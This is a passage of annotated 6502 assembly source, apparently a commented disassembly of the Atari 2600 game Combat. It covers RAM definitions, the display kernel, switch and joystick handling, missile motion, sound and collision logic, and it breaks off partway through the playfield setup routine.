XColor1 = $D9 ; to restore ColorX after a change
ColorPF = $DA ; BK and PF colors loaded in same block as XColorX.
ColorBK = $DB ; Never changed, so no reference versions are kept.
KLskip = $DC ; Kernal lines to skip before score, or main w/o score
; ; (Also used in Kernal as flag whether to show score)
GameTimer = $DD ; Master game timer set to $80 when game starts,
; ; incremented until overflow at $FF-->$00 ends game
; ; Bit 7 indicates game in play, also used w/GameOn to
; ; flash score. During attract mode GameTimer is used
; ; to cycle colors; this is OK since it only assumes
; ; its game-timing function if GameOn != $00.
NUMG0 = $DE ; Storage for current byte
NUMG1 = $DF ; of score number graphics.
SCROFF = $E0 ; Score pattern offsets (4 bytes)
; thru $E3 ; lo nibble 0, lo 1, hi 0, hi 1
COLcount = $E4 ; Counter keeps tank-tank and tank-PF collisions from
; thru $E5 ; affecting a stationary tank's bearing unless the
; ; collision lasts at least 4 cycles
;
StkTop = $FF ; Top of stack (which IS used, at least 8 bytes)
;
; So much for the RAM. Here's the ROM:
org $F000
START SEI ; Disable interrupts
CLD ; Clear decimal bit
LDX #StkTop
TXS ; Init Stack
LDX #$5D
JSR ClearMem ; zero out RAM except address $A2
LDA #$10 ;
STA SWCHB+1 ; Port B data direction register and
STA GameOn ; GameOn (tho not quite a valid value)...
JSR ClrGam ; clear game RAM $82-$A2
;
MLOOP JSR VCNTRL ; Generate a VSYNC and begin VBLANK
;
; VBLANK logic:
;
JSR GSGRCK ; Parse console switches
JSR LDSTEL ; Load Stella Registers
JSR CHKSW ; Check Joystick Switches
JSR COLIS ; Check Collision Registers
JSR STPMPL ; Setup Player, Missile Motion
JSR ROT ; Rotate Sprites
JSR SCROT ; Calculate Score Offsets
;
JSR VOUT ; do the Kernal (trashes the stack ptr,
; but then restores it because it IS
JMP MLOOP ; used when we reiterate this loop)
;
; ------------------------------------------------------------
;
; Vertical CoNTRoL
;
; Vertical sync, basic frame-start housekeeping
;
VCNTRL INC CLOCK ; Master frame count timer
STA HMCLR ; Clear horizontal move registers.
LDA #2 ; Get this ready...
STA WSYNC ; for start of next line...
STA VBLANK ; Start vertical blank.
STA WSYNC
STA WSYNC ; and do three lines
STA WSYNC
STA VSYNC ; Now start vertical sync
STA WSYNC
STA WSYNC ; and do three lines
LDA #0 ; get this ready
STA WSYNC
STA VSYNC ; End of vertical sync pulse
LDA #43 ; And set VBLANK timer
STA TIM64T ; with 64 clock interval.
RTS
;
; ------------------------------------------------------------
;
; Video OUT -- THE KERNAL
;
; We start with the score, then we render the playfield, players,
; and missiles simultaneously. All in all, an average day for a VCS.
;
VOUT LDA #$20
STA ScanLine ; We're assuming scanline $20.
STA WSYNC
STA HMOVE ; Move sprites horizontally.
VOUT_VB LDA INTIM
BNE VOUT_VB ; Wait for INTIM to time-out.
STA WSYNC
STA CXCLR ; Clear collision latches
STA VBLANK ; End vertical blank
TSX
STX TMPSTK ; Save stack pointer
LDA #$02
STA CTRLPF ; Double, instead of reflect.
LDX KLskip
Vskip1 STA WSYNC ; Skip a few scanlines...
DEX
BNE Vskip1
LDA KLskip
CMP #$0E ; "No Score" value of KLskip
BEQ Vmain
;
; KLskip is set as such so that when the score is
; to be displayed, it waits for just the right time
; to start drawing the score, but if the score is
; not to be displayed, as when the score flashes
; signifying "time's almost up", it waits for just
; the right time to start drawing the rest of the
; screen.
;
; Draw the score:
;
LDX #$05 ; Score is five bytes high.
LDA #$00 ; Clear number graphics.
STA NUMG0 ; They won't be calculated yet,
STA NUMG1 ; but first time through the loop
; the game will try to draw with
; them anyway.
VSCOR STA WSYNC ; Start with a fresh scanline.
LDA NUMG0 ; Take last scanline's left score,
STA PF1 ; and recycle it,
;
; Here, we begin drawing the next scanline's
; left score, as the electron beam moves towards
; the right score's position in this scanline.
;
LDY SCROFF+2
LDA NUMBERS,Y ; Get left digit.
AND #$F0
STA NUMG0
LDY SCROFF
LDA NUMBERS,Y ; Get right digit.
AND #$0F
ORA NUMG0
STA NUMG0 ; Left score is ready to ship.
LDA NUMG1 ; Take last scanline's right score,
STA PF1 ; and recycle it.
LDY SCROFF+3
LDA NUMBERS,Y ; Left digit...
AND #$F0
STA NUMG1
LDY SCROFF+1
LDA NUMBERS,Y ; right digit...
AND SHOWSCR
;
; Now, we use our fresh, new score graphics in this next scanline.
;
STA WSYNC ; *COUNT*
ORA NUMG1 ;Finish calculating (0) +3
STA NUMG1 ;right score. (3) +3
LDA NUMG0 ; (6) +3
STA PF1 ; *9* +3
;
; We use this time to check whether we're at the end of our loop.
;
DEX ; (12)+2
BMI Vmain ; (14)+2 No Branch
;
; If so, we're out of here. Don't worry, the score will be
; cleared immediately, so nobody will know that we've gone
; past five bytes and are displaying garbage.
;
INC SCROFF ; (16)+5
INC SCROFF+2 ; Get ready to draw the next
INC SCROFF+1 ; line of the byte.
INC SCROFF+3
LDA NUMG1
STA PF1 ; Right score is in place.
JMP VSCOR ; Go to next scanline,
;
; Main Kernal Display loop for the game itself
;
Vmain LDA #$00 ; Inner Display Loop
STA PF1 ; Clear the score.
STA WSYNC
LDA #$05
STA CTRLPF ; Reflecting playfield.
LDA Color0
STA COLUP0 ; How often must THIS be done?
LDA Color1
STA COLUP1
Vfield LDX #$1E ; Very Sneaky -
TXS ; Set stack to missile registers
SEC
;
; This yields which line of player 0 to draw.
;
LDA TankY0
SBC ScanLine ; A=TankY0-ScanLine
AND #$FE ; Force an even number
TAX ; Only sixteen bytes of
AND #$F0 ; sprite memory, so...
BEQ VdoTank ; If not valid,
LDA #$00 ; blank the tank.
BEQ VnoTank ; (unconditional branch)
VdoTank LDA HIRES,X ; Else, load the appropriate byte.
VnoTank STA WSYNC ; ----END OF ONE LINE----
STA GRP0 ; Just for player 0.
;
; The infamous Combat Stack Trick:
;
; Keep in mind that at this point, the stack pointer
; is set to the missile registers, and the "zero-result"
; bit of the P register is the same at the bit ENAM0/1
; looks at.
;
LDA MissileY1
EOR ScanLine
AND #$FE
PHP ; This turns the missle 1 on/off
LDA MissileY0
EOR ScanLine
AND #$FE
PHP ; This turns the missle 0 on/off
;
; We've got the missile taken care of.
; Now let's see which line of the playfield to draw.
;
LDA ScanLine
BPL VvRefl ; If on the bottom half of the screen,
EOR #$F8 ; reverse direction so we can mirror.
VvRefl CMP #$20
BCC VfDone ; Branch if at bottom.
LSR
LSR
LSR ; Divide by eight,
TAY ; and stow it in the Y-register.
;
; By now, the electron beam is already at the next
; scanline, so we don't have to do a STA WSYNC.
;
; This yields which line of Tank 1 to draw.
;
VfDone LDA TankY1 ; TankY1 is other player's position.
SEC
SBC ScanLine ; A=TankY1 - ScanLine
INC ScanLine ; Increment the loop.
NOP
ORA #$01 ; Add bit 0, force odd number.
TAX
;
AND #$F0 ; There are only sixteen bytes of
BEQ VdoT1 ; sprite memory, so...
LDA #$00 ; If tank is not ready, blank it.
BEQ VnoT1
VdoT1 LDA HIRES,X ; Else, draw the tank
VnoT1 BIT PF_PONG
STA GRP1
BMI VnoPF ; If PF_PONG bit 7 set, don't write PF
LDA (LORES),Y ; (this means game variation has blank
STA PF0 ; background)
LDA (LORES+2),Y
STA PF1
LDA (LORES+4),Y
STA PF2
VnoPF INC ScanLine ; One more up in the loop.
LDA ScanLine
EOR #$EC ; When we've reached the $ECth line,
BNE Vfield ; we've had enough.
LDX TMPSTK ; Restore stack pointer, which is
TXS ; is used for calls in main game loop
STA ENAM0 ; Clear a bunch of registers.
STA ENAM1
STA GRP0
STA GRP1
STA GRP0 ; In case GRP0 isn't COMPLETELY zeroed.
STA PF0
STA PF1
STA PF2
RTS
; ------------------------------------------------------------
;
; Game Select Game Reset ChecK
;
; Executed immediately after VCNTRL, this subroutine parses all
; the console switches.
;
GSGRCK ;
LDA SWCHB ; Start/Reset button....
LSR ; Shove bit 0 into carry flag,
BCS NoNewGM ; and if it's pushed...
;
; Start a new game.
;
LDA #$0F
STA SHOWSCR ; Show right score.
LDA #$FF ; Set all bits
STA GameOn ; in GameOn.
LDA #$80
STA GameTimer ; and bit 7 of GameTimer (this is not too
; significant, as GameTimer rollover is
; only checked if GameOn<>$00)
LDX #$E6
JSR ClearMem ; zero out $89 thru $A2
BEQ ResetField ; Unconditional branch
;
NoNewGM LDY #$02 ; Assume score to be drawn
LDA GameTimer ; If game in play (GameOn=$FF) AND
AND GameOn ; GameTimer < 7/8 finished @ $F0,
CMP #$F0 ; draw the score unconditionally.
BCC SCdrawn
LDA CLOCK ; CLOCK used to flash score near end
AND #$30 ; of play, note the peripheral synchronization
BNE SCdrawn ; with GameTimer's timing of the game, which
; always ends when CLOCK & $3F = 0. CLOCK
; is used here because the score blink
; off duty cycle is a too quick for
; GameTimer to handle, being about 1/3 sec.
LDY #$0E ; Set this for no score
SCdrawn STY KLskip ; where the Kernal will find it
LDA CLOCK
AND #$3F ; CLOCK also used to slow debounce reset
BNE ChkSel
;
; GameTimer is incremented and SelDbnce reset when
; CLOCK & $3F = 0. This occurs 1 frame out of 64 or
; about once/second. Thus the game is 128*64 frames
; or about 2 minutes long.
;
STA SelDbnce ; Reset Select Debounce Flag. This is
; what keeps incrementing the selection
; if you hold Select down for a long time.
INC GameTimer ; increment the Main Game ~1-sec Timer.
BNE ChkSel ; if GameTimer rolls over,
STA GameOn ; zero GameOn -- game over
;
ChkSel LDA SWCHB ; Select button???
AND #$02
BEQ SelDown
STA SelDbnce ; Set flag: Sel has not been down
BNE CS_RTS ; Unconditional branch
;
SelDown BIT SelDbnce ; If Sel has been down,
BMI CS_RTS ; don't select a new game.
;
INC BINvar ; SELECT: Go to next game.
ClrGam LDX #$DF ; Clear data from current game ($82-$A2)
ClrGRST JSR ClearMem
LDA #$FF
STA SelDbnce ; Set flag: Sel has been down.
LDY BINvar
LDA VARMAP,Y ; Get feature bits for this variation.
STA GAMVAR
EOR #$FF ; #$FF signifies end of variations
BNE SelGO ; Not at end yet, set up new game
LDX #$DD ; Clear $80-$A2; resets BINvar, BCDvar
BNE ClrGRST ; so we start over. BNE is unconditional.
;
SelGO LDA BCDvar ; Since we have incremented BINvar, we
SED ; must increment BCDvar in BCD to keep
CLC ; it in sync. Note BCDvar is actually
ADC #1 ; BinVar+1, since it's incremented when
STA BCDvar ; we reset but don't increment BINvar.
STA SCORE ; Display variation as score 0
CLD
BIT GAMVAR ; GAMSHP was reset at ClrGam...
BPL ResetField ; if this is a plane game,
INC GAMSHP ; increase GAMSHP.
BVC ResetField ; if this is a jet game,
INC GAMSHP ; increase GAMSHP further still.
;
; Branches here when game is started, too.
;
ResetField
JSR InitPF
;
; Assuming plane game for now, we set the right player
; at a slightly higher position than the left player,
; and the position of the right player is irrelevant.
;
LDA #50
STA TankY1
LDA #134
STA TankY0
BIT GAMVAR ; Check to see if it is a tank game.
BMI CS_RTS ; Nope, bail.
; It is a tank game, so
STA TankY1 ; Right tank has same Y value,
STA RESP1 ; and tank is at opposite side.
LDA #$08
STA DIRECTN+1 ; and right player faces left.
LDA #$20
STA HMP0
STA HMP1
STA WSYNC
STA HMOVE
CS_RTS RTS
; ------------------------------------------------------------
;
; SCoRe OffseT
;
; Convert BCD scores to score pattern offset.
; This involves the horrible, horrible implications
; involved in multiplying by five.
;
; If it weren't for the geniuses at NMOS using BCD,
; this routine would be a nightmare.
;
; This routine starts with Player 1, writes bytes 1 & 3 of
; the table, then decrements X to write bytes 0 & 2 for P0.
;
SCROT LDX #$01
SCROT0 LDA SCORE,X
AND #$0F ; Lo nibble
STA TEMP
ASL ; *2
ASL ; *4
CLC
ADC TEMP ; + original * 1 = original * 5
STA SCROFF,X
LDA SCORE,X
AND #$F0 ; Repeat for hi nibble. Starts *16
LSR ; *8
LSR ; *4
STA TEMP
LSR ; *2
LSR ; *1
CLC
ADC TEMP ; + (*4) = original * 5
STA SCROFF+2,X
DEX
BPL SCROT0 ;Decrement & repeat once for P0
RTS
; ------------------------------------------------------------
;
; SeTuP Motion for PLayers
;
; Apply horizontal and vertical motion
;
STPMPL BIT GUIDED
BVC STPnoMG ; Branch if not machine gun game.
LDA #$30 ; (Machine gun bullets move faster)
BPL STPMG ; Unconditional JMP.
STPnoMG LDA #$20
STPMG STA XoffBase ; $30=machine gun, $20=normal
LDX #$03
JSR STPM ; Do the honors for X=3, Missile 1
DEX
JSR STPM ; Now X=2, M0
;
DEX ; Now X=1, P1; we will DEX and loop
STPnext LDA FwdTimer,X ; back to run this code block again
AND #$08 ; with X=0 for P0.
LSR ; (to 4) This bit on means FwdTimer has
LSR ; (to 2) run half of the FwdTimer period
; ($F0 to $FF and roll)
; This bit will index MVadjA or MVadjB
STX TEMP1 ; Player # --> TEMP1
CLC
ADC TEMP1
TAY ; Player # + FwdTimer half done*2 --> Y
LDA MVadjA,Y ; And retrieve MVadjA or MVadjB via Y
;
SEC ; assume bit 7 on
BMI STP7set ; OK, it is
CLC ; whoops, backtrack
STP7set ROL ; carry=bit 7, now ROL; net effect is to
; ; rotate left inserting duplicate MSB
STA MVadjA,Y ; instead of original Carry, and save it
BCC STPnoV ; Skip next code block if bit wasn't 1
;
LDA MPace,X ; Tweak velocity by changing XoffBase
AND #$01 ; but only every other time we get here
ASL
ASL
ASL
ASL
STA XoffBase ; XoffBase=$0 or $10 via (MPace & 1) << 4
JSR STPM ; Note this is where we INC MPace
STPnoV
DEX ; Move to _previous_ player.
BEQ STPnext ; Stop if about to do player -1. :)
RTS
;
; This routine will move both tanks and missiles.
; Special cases are made for missiles, which are
; otherwise treated as players 2 and 3.
;
; It doesn't change the X register, but it does
; utilize it.
;
STPM INC MPace,X
LDA DIRECTN,X
AND #$0F
CLC
ADC XoffBase ; Pick table offset by game condition
TAY
LDA Xoffsets,Y ; X-offset by orientation.
STA XOFFS ; Store the default HMPV code.
BIT PF_PONG
BVS STPgo ; Branch if (fast) Pong missiles
LDA DIRECTN,X
SEC
SBC #$02 ; If motion is near X or Y axis,
AND #$03
BNE STPgo ; don't apply delay
LDA MPace,X ; but if very diagonal, slow a bit by
AND #$03 ; moving only 3 of every 4 frames
BNE STPgo ;
LDA #$08 ; HMPV for no motion X or Y
STA XOFFS ; no motion this frame
STPgo LDA XOFFS
;
; (This falls through, but PhMove is also called from elsewhere)
;
; Physically move a tank (0,1) or missile (2,3)
; according to the HMPV code in A
;
PhMove STA HMP0,X ; Hi nibble sets HMPx horizontal motion
AND #$0F ; Lo nibble...
SEC
SBC #$08 ; less 8 for 2's complement 4-bit...
STA $D4 ; (save this offset)
CLC
ADC TankY0,X ; add to Y-coordinate
BIT GAMVAR
BMI PhNoTank ; Branch if a plane game.
CPX #$02
BCS PhNoWrap ; Branch if moving a tank player
PhNoTank
CMP #$DB ; Perform vertical wrap-around
BCS PhNoWrapTop ; branch if over top (wrap)
CMP #$25
BCS PhNoWrap ; branch if over bottom (no wrap)
PhNoWrapTop
LDA #$D9 ; Assume we wrapped bottom to top
BIT $D4 ; Meaning offset was negative
BMI PhNoWrap
LDA #$28 ; Otherwise, we wrapped top to bottom
PhNoWrap
STA TankY0,X ; The tank/missile is moved here.
CPX #$02
BCS PhnoVD ; Skip if moving a missile.
STA VDELP0,X ; Vertical Delay Player X...
PhnoVD RTS
; ------------------------------------------------------------
;
; ROTate player sprites
;
; This subroutine sets up the sprite data for each player by copying
; them into sixteen bytes of RAM.
;
; The X-register starts at $0E plus player number and goes down by two
; each time through the loop, until it hits zero. This way, after calling
; this subroutine twice, every even-numbered byte contains the left player
; shape, and every odd-numbered byte contains the right player shape. Since
; each player is updated every two scanlines, this saves us some math.
;
; Only the first 180 degrees of rotation has been drawn into ROM. In the
; case of the other 180 degrees, this subroutine renders a flipped version
; by doing the following:
;
; 1. It sets the TIA's reflection flag for that player, taking care of
; the horizontal aspect rather easily.
;
; 2. It copies the bytes into memory last-to-first instead of first-to-
; last, using the carry bit as a flag for which to do.
;
ROT LDA #$01 ; The LO byte of CLOCK used to
AND CLOCK ; select alternate players on
TAX ; alternate frames
LDA DIRECTN,X
STA REFP0,X ; Step 1 taken care of.
AND #$0F
TAY ; Y = DIRECTN[X] & 0x0F.
BIT GUIDED
BPL ROTnoGM ; If it's a guided missile game,
STY DIRECTN+2,X ; copy player bearings to missile
ROTnoGM TXA ; X ^= $0E,
EOR #$0E
TAX
TYA
ASL
ASL
ASL
CMP #$3F ; And so step 2 begins...
CLC
BMI ROTnoFlip ; Branch if <180 deg.
SEC
EOR #$47 ;The EOR sets bits 0-2, and clears bit 4
; to subtract 180 degrees from the memory
; pointer, too.
ROTnoFlip TAY
;
;Put all the shapes where they ought to be.
;
ROTnext LDA (SHAPES),Y
STA HIRES,X
BCC ROTinc
DEY ; Decrement instead of increment
DEY ; plus cancel the upcoming INY.
ROTinc INY ; More of step 2.
DEX
DEX ; X-=2.
BPL ROTnext ; Do for both, 1 then 0 then stop.
RTS
; ------------------------------------------------------------
;
; CHecK joystick SWitches
;
; If we are in the interval while a loser's tank is stirring,
; he stirs and the winner freezes or goes forward. Otherwise,
; parse the joystick inputs and move the tanks appropriately.
;
CHKSW LDA StirTimer ; We must dec StirTimer by 2
SEC ; since bit 0 is identity of
SBC #$02 ; the stirree
BCC NoStir ; If no tank is exploding,
; parse joystick instead.
STA StirTimer
CMP #$02
BCC StirRTS ; RTS if tank has
; just finished exploding.
AND #$01 ; Stir the LOSER's tank.
TAX
;One of these is the tank's bearings.
INC DIRECTN,X
LDA XColor0,X
STA Color0,X
LDA StirTimer
CMP #$F7 ; We only rush the tank for a
BCC NoStirRush ; small part of the stir interval
JSR RushTank
NoStirRush
LDA StirTimer
BPL StirRTS ; Don't start decrementing
; volume until halfway through.
LSR
LSR ; StirTimer scales audio volume
LSR ;
BoomSnd STA AUDV0,X ; Set explosion sound to volume in A
LDA #$08 ; and pitch according to player X
STA AUDC0,X
LDA AudPitch,X
STA AUDF0,X
StirRTS RTS
;
; Process joysticks.
;
NoStir LDX #$01 ; Start with P1
LDA SWCHB ; Console switches.
STA DIFSWCH ; Store switches. Before we return
; via DEX to do P0, we will ASL this
; byte so difficulty bit for working
; player appears in bit 7.
LDA SWCHA ; Joysticks. Before we return via
; DEX to do P0, we will reload and
; LSR this 4 times so controls for
; the working player appear in the
NextPJS BIT GameOn ; LO nibble.
BMI NoFreezeJS ; Branch if game on (via bit 7).
LDA #$FF ; Freeze all joystick movement.
NoFreezeJS
EOR #$FF ; Reverse all bits
AND #$0F ; Keep low four bits (working player)
;
; At this point, the joystick's switches are in
; the A-register, with a bit set wherever the
; joystick is pointed.
;
; Bit 0 = up Bit 1 = down
; Bit 2 = left Bit 3 = right
;
STA TEMP
LDY GAMSHP
LDA CtrlBase,Y ; Account for two-dimensional array
CLC
ADC TEMP
TAY
LDA CTRLTBL,Y
AND #$0F ; Get rotation from CTRLTBL.
STA TEMP1 ; Stash it here
BEQ NoTurn ; Branch if no turn.
CMP LastTurn,X ; If new turn is different direction
BNE TurnReset ; from last turn, reset the...
NoTurn DEC TurnTimer,X ; ...turn pacing delay and...
BNE DoFwdMotion ; ...inhibit turn this interval.
TurnReset ; We do turn-wait counts even when
STA LastTurn,X ; we aren't turning, for consistency
LDA #$0F ; Initial countdown value to delay
STA TurnTimer,X ; 22.5-degree turns
;
LDA TEMP1 ; Retrieve rotation code
CLC ; Turn +/- 22.5-degrees or zero,
ADC DIRECTN,X ; per DIRECTN
STA DIRECTN,X
;
; For reference, we do get here every frame (~60Hz) during game.
; COMBAT does not change player speed instantaneously; it has
; an elaborate momentum system, which is just barely noticeable
; in the course of game play.
;
DoFwdMotion
INC FwdTimer,X ; Inc FwdTImer and if it doesn't
BMI SkipFwdCtrl ; roll over, don't acknowledge velocity
LDA CTRLTBL,Y ; changes yet
LSR
LSR
LSR
LSR ; Get forward velocity from CTRLTBL
;
; This is the desired _final_ velocity of the player. If
; it is different from the player's _current_ velocity, we
; won't reach it until the end of the FwdTimer period.
;
BIT DIFSWCH
BMI FwdPro ; Branch if difficulty="Pro"
; (reduces A and branches back to FwdNorm)
FwdNorm STA Vtemp,X ; Stash velocity in Vtemp
ASL ; Multiply by two
TAY ; Stash in Y.
LDA MVtable,Y ; Indexed by velocity * 2, even
STA MVadjA,X ; V+MVtable goes to MVadjA+X
INY ; Why not LDA MVtable+1,Y?
LDA MVtable,Y
STA MVadjB,X ; odd V+MVtable goes to MVadjB+X
LDA #$F0 ; Initialize FwdTimer
STA FwdTimer,X ; (Counts up to $00 before fwd
; ; motion change is final)
SkipFwdCtrl
JSR ChkVM
LDA SWCHA ; Joysticks..
LSR
LSR
LSR
LSR ; Keep bottom four bits (Left Player)
ASL DIFSWCH ; Use other difficulty switch.
DEX
BEQ NextPJS
RTS
;
FwdPro SEC ; Velocity is in A
SBC GAMSHP ; subtract 0/tank, 1/biplane, 2/jet
BPL FwdNorm ; Not obvious, but this is unconditional
; ------------------------------------------------------------
;
; Check invisible tank visibility, missile lifetime expiration;
; read trigger if appropriate and launch a new missile
;
ChkVM LDA GAMVAR
BMI NoInvis ; Branch if plane game
AND #$01 ; check also for bit 0 (invisible).
BEQ NoInvis
LDA ColorBK ; Make invisible tank invisible
STA Color0,X
NoInvis LDA MisLife,X
BEQ RdTrig ; Branch if no missile in flight
LDA XColor0,X ; Reset tank to normal color
STA Color0,X
LDA MisLife,X ; How long does missile have to go?
CMP #$07
BCC MisKill ; Branch to go ahead and kill it
BIT DIFSWCH ; Check difficulty
BPL MisEZ ; If game is hard,
CMP #$1C ; Compare mislife to this
BCC MisKill ; and expire it early.
MisEZ CMP #$30 ; If MisLife < 30 do motor
BCC MotMis ; do motor, not shot sound
CMP #$37 ; If MisLife >= 37
BCS MisFly ; do sliding boom sound (shot)
BIT GUIDED
BVC MisFly ; Branch if machine gun.
MisKill LDA #$00 ; Reset missile's life, killing it
STA MisLife,X
LDA #$FF ; And reset its position
ResRTS STA RESMP0,X ; to player.
RTS
;
; If game in progress, Read the trigger
;
RdTrig BIT GameOn ; Branch if no game on
BPL RDnoGame ; (via bit 7 being clear)
LDA INPT4,X ; Read Input (Trigger) X.
BPL Launch ; unconditional branch -- Launch missile
;
RDnoGame
JSR MOTORS
JMP MisKill
MotMis JSR MOTORS
JMP MisAge
MisFly LDA AltSnd,X
BEQ MisBoom
JSR MOTORS
LDA #$30
STA MisLife,X
JMP MisAge
;
MisBoom LDA MisLife,X
JSR BoomSnd
MisAge LDA CLOCK ; Missile aging rate depends on type
AND #$03
BEQ MisDec ; Only do this test 3/4 of the time
BIT BILLIARD
BVS MisDSkp ; branch if Billiard (must bounce before hit)
BIT PF_PONG
BVC MisDec ; branch if not Pong game (PF_PONG bit 6)
AND #$01 ; Upshot of this is, in non-billiard Pong
BNE MisDSkp ; game, missiles last about twice as long
MisDec DEC MisLife,X ; I'm getting older!
MisDSkp LDA #$00
BEQ ResRTS ; Unconditional -- DO NOT Reset missile to tank
; ; (we'd need $02 on to do that) but RTS
;
; Launch a missile
;
Launch LDA #$3F
STA MisLife,X ; Init MisLife to $3F
SEC
LDA TankY0,X ; Copy Y-position... Tank Y-position points
; to top of sprite, but missile is launched
SBC #$06 ; from its center 6 scanlines down.
STA MissileY0,X
LDA DIRECTN,X ; Copy player bearing to missile.
STA DIRECTN+2,X
LDA #$1F
STA BounceCount,X ; Init BounceCount to $1F
LDA #$00
STA MxPFcount,X ; Reset MxPFcount
JMP MisFly ; Proceed w/missile in flight
; ------------------------------------------------------------
;
; This routine generates engine or Pong sound as appropriate.
;
MOTORS LDA AltSnd,X
BEQ DOMOTOR
; Pong sound.
LDA #$04
STA AUDC0,X
LDA #$07
STA AUDV0,X
LDA BounceCount,X
STA AUDF0,X
RTS
; Engine sound.
DOMOTOR LDY GAMSHP
LDA SNDV,Y
AND GameOn ; Kills sound if no game on by ANDing
STA AUDV0,X ; volume value w/$00 no-game value
LDA SNDC,Y
STA AUDC0,X
CLC
LDA #$00
MOPIT0 DEY ; This loop sets start value for sound
BMI MOPIT1 ; pitch based on GAMSHP in Y (tank,
ADC #$0C ; biplane, or jet)
BPL MOPIT0
MOPIT1 ADC Vtemp,X ; Use saved velocity to adjust
TAY ; sound pitch via SNDP table
TXA
ASL
ADC SNDP,Y
STA AUDF0,X
RTS
; ------------------------------------------------------------
;
; COLISion check
;
; 150 lines of angel-hair spaghetti code
;
; Check to see whether, during all that drawing,
; a missile hit one of the tanks, or a tank hit
; the wall or the other tank, and if so let
; the consequences fall.
;
COLIS LDX #$01 ; Do first for P1, DEX, P0, etc.
COLnext LDA CXM0P,X
BPL COLnoHit ; No missile collision
BIT BILLIARD
BVC COLDET ; Not Billiard game, go ahead & do it
LDA BounceCount,X
CMP #$1F
BEQ COLnoHit ; Billiard 1st bounce not satisfied
;
; A touch, a touch! I do confess.
;
COLDET INC DIRECTN,X ; Turn both tanks 22.5 degrees.
INC DIRECTN+2,X
;
; Increase player's score. A simple INC SCORE,X
; won't do because we're doing it in BCD.
;
SED
LDA SCORE,X
CLC
ADC #$01
STA SCORE,X
CLD
TXA
CLC
ADC #$FD
STA StirTimer
;
; Now StirTimer contains loser's ID in bit 0,
; victor's ID in bit 1, and set bits 2-7.
; Bit 1 ID is never used, and just creates a
; slight, unnoticeable difference in stir time.
;
LDA #$FF
STA RESMP0 ; Reset both missiles.
STA RESMP1
LDA #$00
STA AUDV0,X ; Turn off the victor's engine.
STA MisLife ; clear MisLife (no missile)
STA $9A ; and 9A.
RTS
;
; We didn't just end the game, so we deal with some
; sound and bounce logic
;
COLnoHit
BIT GAMVAR
BPL COLTNK ; Branch if a tank game.
JMP COLPD ; Skip this code if NOT a tank game
COLTNK LDA AltSnd,X
BEQ COLnoAlt
CMP #$04 ; See if alt sound has played out
INC AltSnd,X ; Increment if it has not
BCC COLnoAlt
LDA #$00 ; if played out, reset to 0 "no alt sound"
STA AltSnd,X
COLnoAlt
LDA CXM0FB,X ; Missile collision with playfield?
BMI COLMPF ; If true, bounce or obliterate...
LDA #$00
STA MxPFcount,X ; ...else clear MxPFcount
JMP COLTCK
;
COLMPF BIT PF_PONG
BVC COLMISX ; Branch if not Pong (bit 6 clear)
;
LDA MxPFcount,X ; It's Pong, so we bounce
BNE COLMPFX ; Branch if collision is already ongoing
INC AltSnd,X ; NEW COLLISION, set alt sound flag
DEC BounceCount,X
LDA DIRECTN+2,X ; First try at reflecting
STA OldMisDir,X ; Stash current missile heading
EOR #$FF ; reverse heading by complement,
STA DIRECTN+2,X ; then increment=additive inverse
INC DIRECTN+2,X ; same as subtracting from zero
LDA DIRECTN+2,X ; check new heading
AND #$03 ; See if it's moving exactly N,S,E, or W
BNE COLXY0
INC DIRECTN+2,X ; and add 22.5 degrees if so
COLXY0 JMP COLMPFdone
;
; I always wondered how this works. Stella does not know the
; orientation of the wall that was hit, so this is how it
; reflects:
;
; Immediately after a collision, it tries a vertical reflection,
; jiggering the result so that it won't be exactly vertical or
; exactly horizontal.
;
; If this is the next frame (MxPFcount=$01) that failed, so
; we reverse direction 180 degrees to turn it into a horizontal
; reflection.
;
; On MxPfcount=$02 we take no action, since the missile may need
; the cycle to re-emerge from a wall.
;
; On MxPFcount=$03 or higher, we retrieve the original heading and
; turn it 180 degrees, assuming a corner reflection. And we keep
; applying this same bearing until it's out of the #*%@ wall.
;
COLMPFX CMP #$01 ; branch if
BEQ Rev180 ; exactly 1 previous collision frame
CMP #$03 ; branch if
BCC COLMPFdone ; less than 3 collision frames
BNE COLMPFdone ; or more than three
LDA OldMisDir,X ; retrieve pre-bounce missile heading
JMP Bump180 ; and reverse it 180 degrees
;
; Exactly 1 previous collision: Do a 180-degree reversal, meaning
; 90 degrees the *other* way from our initial course.
;
Rev180 LDA DIRECTN+2,X ; Here to add 180 degrees
Bump180 CLC ; Here to add A to missile dir
ADC #$08
STA DIRECTN+2,X
JMP COLMPFdone
;
COLMISX LDA #$01 ; If it's not Pong, we come here and
STA MisLife,X ; set the missile's life to 1 to kill it.
;
COLMPFdone ; When we're done, increase collision
INC MxPFcount,X ; frame count & move on.
;
; Check for tank collisions
;
COLTCK LDA CXP0FB,X
BMI COLTW ; check if tank collided with a wall.
LDA CXPPMM ; check for a tank-tank collision.
BPL COLTCLR ; branch if NO tank collisions at all
COLTW LDA StirTimer ; See if we are stirring a tank
CMP #$02
BCC COLTnk1 ; No, branch & block
JSR RushTank ; We are stirring, send it scooting
;
COLTCLR LDA #$03 ; No tank collision, reset counter
STA COLcount,X
BNE COLPD ; unconditional branch, player done
;
COLTnk1 DEC COLcount,X ; Tank colliding
BMI COLbonk ; COLcount rolled, ignore collision
LDA Vtemp,X
BEQ COLPD ; No boink if velocity=0, player done
BNE COLreverse ; else skip INC, needed for elsewhere
;
COLbonk INC DIRECTN,X ; Jigger direction 22.5 for disorientation
COLreverse
LDA DIRECTN,X
CLC
ADC #$08 ; Add 180 degrees to direction
JSR BumpTank ; to bump tank back
;
; COLIS Player Done
;
COLPD DEX
BMI COLrts ;Return if X<0.
JMP COLnext ;Else do the other player
COLrts RTS
;
; Bump the tank in the direction
; the other player's missile is moving
;
RushTank
TXA
EOR #$01 ; Get OTHER player #
TAY ; in Y
LDA DIRECTN+2,Y ; OTHER player Missile's Direction
;
; Bump the tank in the direction of a standard
; 22.5-degree bearing code
;
BumpTank
AND #$0F
TAY
LDA HDGTBL,Y ;Nove
JSR PhMove ;Move object in that direction.
LDA #$00
STA MVadjA,X
STA MVadjB,X
STA FwdTimer,X ;Stop it dead in its tracks....
LDA XColor0,X
STA Color0,X
RTS
; ------------------------------------------------------------
;
; This was probably a toplevel routine early in development,
; but ended up getting called from GSGRCK. It sets everything
; up to draw the playfield based on the current game selection.
;
InitPF LDX GAMSHP ; 0=tank, 1=biplane, 2=jet
LDA SPRLO,X ; Set up base pointer to all
STA SHAPES ; sprite shapes which will
LDA SPRHI,X ; be used in this game.
STA SHAPES+1
;
LDA GAMVAR ; Now set up PF_PONG and playfield type
LSR
LSR
